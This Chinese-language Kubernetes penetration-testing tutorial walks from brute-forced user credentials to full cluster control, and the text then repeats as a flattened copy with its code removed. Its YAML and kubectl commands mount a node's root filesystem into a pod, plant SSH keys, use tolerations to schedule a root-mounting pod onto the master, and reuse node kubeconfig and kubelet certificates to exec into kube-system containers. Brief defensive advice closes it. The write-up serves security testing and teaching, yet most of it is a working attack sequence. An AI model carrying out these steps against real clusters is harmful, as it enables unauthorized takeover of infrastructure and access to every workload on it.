K8S云原生渗透实战
字数 1410 2025-08-25 22:58:20

Kubernetes云原生渗透实战教学文档

1. 实战目标介绍

Kubernetes是一个开源的容器编排平台,用于管理云平台中多个主机上的容器化应用。本次实战目标是通过渗透测试某Kubernetes云原生产品,分享从普通用户权限提升到控制整个K8s集群的经验和技术。

2. 初始访问 - 获取普通用户test1

  • 通过信息收集和暴力破解手段获取普通用户test1的凭据
  • 使用test1账号登录Kubernetes管理界面

3. 创建Pod容器

  1. 添加命名空间:

    • 创建名为"test"的命名空间
  2. 部署工作负载:

    • 创建工作负载"myapp"
    • 查看Pod IP(10.42.3.65)和所在Node节点(192.168.1.9)

4. Pod容器环境初始化

容器通常缺少基本工具,需要初始化渗透环境:

  1. 配置DNS:
echo nameserver 8.8.8.8 >> /etc/resolv.conf
echo nameserver 114.114.114.114 >> /etc/resolv.conf
  1. 更换APT源:
cp /etc/apt/sources.list /etc/apt/sources.list.bak
echo > /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-updates main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian/ bullseye-backports main contrib non-free >> /etc/apt/sources.list
echo deb https://mirrors.tuna.tsinghua.edu.cn/debian-security bullseye-security main contrib non-free >> /etc/apt/sources.list
  1. 下载安装kubectl:
wget https://dl.k8s.io/v1.9.11/kubernetes-client-linux-amd64.tar.gz
tar -zxvf kubernetes-client-linux-amd64.tar.gz
cd kubernetes/client/bin
chmod +x kubectl
cp kubernetes/client/bin/kubectl /usr/local/bin/kubectl

5. 挂载Node根目录获取Node节点权限

通过编辑YAML规则挂载Node的根目录到Pod:

spec:
  containers:
    name: myapp
    volumeMounts:
    - mountPath: /host
      name: host
  volumes:
  - hostPath:
      path: /
      type: Directory
    name: host
  • hostPath.path: 被挂载的Node目录(设置为根目录)
  • volumeMounts.mountPath: 容器中的挂载点(/host)

挂载成功后:

  • Pod容器IP: 10.42.3.66
  • Node节点IP: 192.168.1.9
  • 通过写入SSH私钥,利用Pod容器socks5代理登录Node节点

6. 通过容忍度(Tolerations)横向移动到Master节点

  1. 在Node节点查找kubeconfig配置文件:
ps -efw | grep kubeconfig

找到路径:/etc/kubernetes/ssl/kubecfg-kube-node.yaml

  1. 使用kubectl获取Master节点污点(Taint)信息:
./kubectl --kubeconfig=/etc/kubernetes/ssl/kubecfg-kube-node.yaml describe node

输出:

Taints:             node-role.kubernetes.io/etcd=true:NoExecute
                    node-role.kubernetes.io/controlplane=true:NoSchedule
  1. 创建容忍这些污点的Pod YAML:
apiVersion: apps/v1
kind: Deployment
spec:
  spec:
    containers:
    - image: ubuntu/nginx:latest
      name: myapp2
      volumeMounts:
      - mountPath: /host
        name: host
    dnsPolicy: ClusterFirst
    restartPolicy: Always
    schedulerName: default-scheduler
    tolerations:
    - effect: NoSchedule
      key: node-role.kubernetes.io/controlplane
      operator: Exists
    - effect: NoExecute
      key: node-role.kubernetes.io/etcd
      operator: Exists
    volumes:
    - hostPath:
        path: /
        type: Directory
      name: host
  1. 挂载Master节点根目录并写入SSH公钥,获取Master节点访问权限

7. 从Node节点获取K8s集群权限

情景一

  1. 查找kubeconfig文件:
ps -efw | grep kubeconfig

路径:/etc/kubernetes/ssl/kubecfg-kube-node.yaml

  1. 使用kubectl获取所有Pod信息:
./kubectl --server=https://127.0.0.1:6443 \
--certificate-authority=/etc/kubernetes/ssl/kube-ca.pem \
--client-key=/etc/kubernetes/ssl/kube-node-key.pem \
--client-certificate=/etc/kubernetes/ssl/kube-node.pem \
get pods --all-namespaces
  1. 进入任意容器:
./kubectl exec -it metrics-server-v0.2.1-7f8ee58c8f-ab13f \
--namespace=kube-system \
--server=https://127.0.0.1:6443 \
--certificate-authority=ca.crt \
--client-key=/var/lib/kubelet/pki/kubelet-client-current.pem \
--client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem \
/bin/sh

情景二

  1. 查找kubeconfig文件:
ps -efw | grep kube

路径:/etc/kubernetes/kubelet.conf

  1. 搜索ca.crt证书文件

  2. 获取所有Pod信息:

kubectl --server=https://172.28.0.201:6443 \
--certificate-authority=/etc/kubernetes/pki/ca.crt \
--client-key=/var/lib/kubelet/pki/kubelet-client-current.pem \
--client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem \
get pods --all-namespaces
  1. 进入容器示例:
kubectl exec -it calico-node-mk79h \
--namespace=kube-system \
--server=https://172.28.0.201:6443 \
--certificate-authority=/etc/kubernetes/pki/ca.crt \
--client-key=/var/lib/kubelet/pki/kubelet-client-current.pem \
--client-certificate=/var/lib/kubelet/pki/kubelet-client-current.pem \
/bin/sh

8. 总结与关键知识点

  1. Node节点权限管理问题

    • Node节点用户权限未严格限制,允许挂载根目录
    • 通过挂载Node根目录获取Node节点控制权
  2. Kubernetes调度机制

    • Master节点通过设置污点(Taints)避免Pod随意调度
      • node-role.kubernetes.io/etcd=true:NoExecute
      • node-role.kubernetes.io/controlplane=true:NoSchedule
    • Pod通过设置容忍度(Tolerations)可调度到Master节点
  3. 横向移动技术

    • 从Pod→Node→Master的权限提升路径
    • 利用kubeconfig和证书文件获取集群控制权
  4. 防御建议

    • 加强Node节点权限管理
    • 严格控制Pod挂载能力
    • 定期轮换证书和凭据
    • 实施网络策略限制Pod间通信

9. 参考资源

  1. Kubernetes安全测试实践
  2. 华为云CTF K8s渗透实战
  3. Kubernetes安全攻防文章
Kubernetes云原生渗透实战教学文档 1. 实战目标介绍 Kubernetes是一个开源的容器编排平台,用于管理云平台中多个主机上的容器化应用。本次实战目标是通过渗透测试某Kubernetes云原生产品,分享从普通用户权限提升到控制整个K8s集群的经验和技术。 2. 初始访问 - 获取普通用户test1 通过信息收集和暴力破解手段获取普通用户test1的凭据 使用test1账号登录Kubernetes管理界面 3. 创建Pod容器 添加命名空间: 创建名为"test"的命名空间 部署工作负载: 创建工作负载"myapp" 查看Pod IP(10.42.3.65)和所在Node节点(192.168.1.9) 4. Pod容器环境初始化 容器通常缺少基本工具,需要初始化渗透环境: 配置DNS: 更换APT源: 下载安装kubectl: 5. 挂载Node根目录获取Node节点权限 通过编辑YAML规则挂载Node的根目录到Pod: hostPath.path : 被挂载的Node目录(设置为根目录) volumeMounts.mountPath : 容器中的挂载点(/host) 挂载成功后: Pod容器IP: 10.42.3.66 Node节点IP: 192.168.1.9 通过写入SSH私钥,利用Pod容器socks5代理登录Node节点 6. 通过容忍度(Tolerations)横向移动到Master节点 在Node节点查找kubeconfig配置文件: 找到路径: /etc/kubernetes/ssl/kubecfg-kube-node.yaml 使用kubectl获取Master节点污点(Taint)信息: 输出: 创建容忍这些污点的Pod YAML: 挂载Master节点根目录并写入SSH公钥,获取Master节点访问权限 7. 从Node节点获取K8s集群权限 情景一 查找kubeconfig文件: 路径: /etc/kubernetes/ssl/kubecfg-kube-node.yaml 使用kubectl获取所有Pod信息: 进入任意容器: 情景二 查找kubeconfig文件: 路径: /etc/kubernetes/kubelet.conf 搜索ca.crt证书文件 获取所有Pod信息: 进入容器示例: 8. 总结与关键知识点 Node节点权限管理问题 : Node节点用户权限未严格限制,允许挂载根目录 通过挂载Node根目录获取Node节点控制权 Kubernetes调度机制 : Master节点通过设置污点(Taints)避免Pod随意调度 node-role.kubernetes.io/etcd=true:NoExecute node-role.kubernetes.io/controlplane=true:NoSchedule Pod通过设置容忍度(Tolerations)可调度到Master节点 横向移动技术 : 从Pod→Node→Master的权限提升路径 利用kubeconfig和证书文件获取集群控制权 防御建议 : 加强Node节点权限管理 严格控制Pod挂载能力 定期轮换证书和凭据 实施网络策略限制Pod间通信 9. 参考资源 Kubernetes安全测试实践 华为云CTF K8s渗透实战 Kubernetes安全攻防文章